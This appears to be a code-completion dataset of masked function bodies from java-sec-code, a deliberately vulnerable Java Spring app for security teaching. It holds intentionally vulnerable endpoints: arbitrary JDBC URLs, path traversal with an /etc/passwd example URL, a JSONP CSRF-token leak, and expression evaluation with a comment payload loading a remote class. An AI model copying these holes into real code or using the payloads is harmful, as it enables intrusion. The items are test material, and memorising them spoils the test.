String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; } } return "";
167
88
255
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Index.java
Index
appInfo
class Index { @RequestMapping("/appInfo") @ResponseBody public static String appInfo(HttpServletRequest request) {<FILL_FUNCTION_BODY>} @RequestMapping("/") public String redirect() { return "redirect:/index"; } @RequestMapping("/index") public static String index(Model model, HttpServletRequest request) { String username = request.getUserPrincipal().getName(); model.addAttribute("user", username); return "index"; } }
String username = request.getUserPrincipal().getName(); Map<String, String> m = new HashMap<>(); m.put("tomcat_version", ServerInfo.getServerInfo()); m.put("username", username); m.put("login", "success"); m.put("app_name", "java security code"); m.put("java_version", System.getProperty("java.version")); m.put("fastjson_version", JSON.VERSION); // covert map to string return JSON.toJSONString(m);
133
141
274
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Jdbc.java
Jdbc
postgresql
class Jdbc { /** * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a> */ @RequestMapping("/postgresql") public void postgresql(String jdbcUrlBase64) throws Exception{<FILL_FUNCTION_BODY>} @RequestMapping("/db2") public void db2(String jdbcUrlBase64) throws Exception{ Class.forName("com.ibm.db2.jcc.DB2Driver"); byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); String jdbcUrl = new String(b); log.info(jdbcUrl); DriverManager.getConnection(jdbcUrl); } }
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); String jdbcUrl = new String(b); log.info(jdbcUrl); DriverManager.getConnection(jdbcUrl);
229
64
293
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Jsonp.java
Jsonp
getCsrfToken2
class Jsonp { private String callback = WebConfig.getBusinessCallback(); @Autowired CookieCsrfTokenRepository cookieCsrfTokenRepository; /** * Set the response content-type to application/javascript. * <p> * http://localhost:8080/jsonp/vuln/referer?callback_=test */ @RequestMapping(value = "/vuln/referer", produces = "application/javascript") public String referer(HttpServletRequest request) { String callback = request.getParameter(this.callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } /** * Direct access does not check Referer, non-direct access check referer. * Developer like to do jsonp testing like this. * <p> * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test */ @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") public String emptyReferer(HttpServletRequest request) { String referer = request.getHeader("referer"); if (null != referer && SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } /** * Adding callback or _callback on parameter can automatically return jsonp data. * http://localhost:8080/jsonp/object2jsonp?callback=test * http://localhost:8080/jsonp/object2jsonp?_callback=test * * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. * Such as JSONOjbect or JavaBean. String type cannot be used. */ @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice(HttpServletRequest request) { return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); } /** * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test * Reference: https://p0sec.net/index.php/archives/122/ from p0 * Affected version: java-sec-code test case version: 4.3.6 * - Spring Framework 5.0 to 5.0.6 * - Spring Framework 4.1 to 4.3.17 */ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); Principal principal = req.getUserPrincipal(); view.addObject("username", principal.getName()); return view; } /** * Safe code. * http://localhost:8080/jsonp/sec?callback_=test */ @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") public String safecode(HttpServletRequest request) { String referer = request.getHeader("referer"); if (SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); } /** * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa * * object to jsonp */ @GetMapping("/getToken") public CsrfToken getCsrfToken1(CsrfToken token) { return token; } /** * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa * * fastjsonp to jsonp */ @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") public String getCsrfToken2(HttpServletRequest request) {<FILL_FUNCTION_BODY>} }
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token String callback = request.getParameter("fastjsonpCallback"); if (StringUtils.isNotBlank(callback)) { JSONPObject jsonpObj = new JSONPObject(callback); jsonpObj.addParameter(csrfToken); return jsonpObj.toString(); } else { return csrfToken.toString(); }
1,118
119
1,237
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Login.java
Login
logoutPage
class Login { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); @RequestMapping("/login") public String login() { return "login"; } @GetMapping("/logout") public String logoutPage(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} }
String username = request.getUserPrincipal().getName(); Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (auth != null) { new SecurityContextLogoutHandler().logout(request, response, auth); } String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie for (String key : deleteCookieKey) { Cookie cookie = new Cookie(key, null); cookie.setMaxAge(0); cookie.setPath("/"); response.addCookie(cookie); } if (null == request.getUserPrincipal()) { logger.info("USER " + username + " LOGOUT SUCCESS."); } else { logger.info("User " + username + " logout failed. Please try again."); } return "redirect:/login?logout";
94
226
320
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/PathTraversal.java
PathTraversal
getImgBase64
class PathTraversal { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd */ @GetMapping("/path_traversal/vul") public String getImage(String filepath) throws IOException { return getImgBase64(filepath); } @GetMapping("/path_traversal/sec") public String getImageSec(String filepath) throws IOException { if (SecurityUtil.pathFilter(filepath) == null) { logger.info("Illegal file path: " + filepath); return "Bad boy. Illegal file path."; } return getImgBase64(filepath); } private String getImgBase64(String imgFile) throws IOException {<FILL_FUNCTION_BODY>} public static void main(String[] argv) throws IOException { String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8); System.out.println(aa); } }
logger.info("Working directory: " + System.getProperty("user.dir")); logger.info("File path: " + imgFile); File f = new File(imgFile); if (f.exists() && !f.isDirectory()) { byte[] data = Files.readAllBytes(Paths.get(imgFile)); return new String(Base64.encodeBase64(data)); } else { return "File doesn't exist or is not a file."; }
301
128
429
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/QLExpress.java
QLExpress
vuln1
class QLExpress { /** * url = 'http://sb.dog:8888/'; * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); * classLoader.loadClass('Hello').newInstance(); */ @RequestMapping("/vuln1") public String vuln1(HttpServletRequest req) throws Exception{<FILL_FUNCTION_BODY>} @RequestMapping("/sec") public String sec(HttpServletRequest req) throws Exception{ String express = WebUtils.getRequestBody(req); System.out.println(express); ExpressRunner runner = new ExpressRunner(); QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); // Can only call java.lang.String#length() QLExpressRunStrategy.addSecureMethod(String.class, "length"); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); Object r = runner.execute(express, context, null, true, false); System.out.println(r); return r.toString(); } }
String express = WebUtils.getRequestBody(req); System.out.println(express); ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); Object r = runner.execute(express, context, null, true, false); System.out.println(r); return r.toString();
284
93
377
<no_super_class>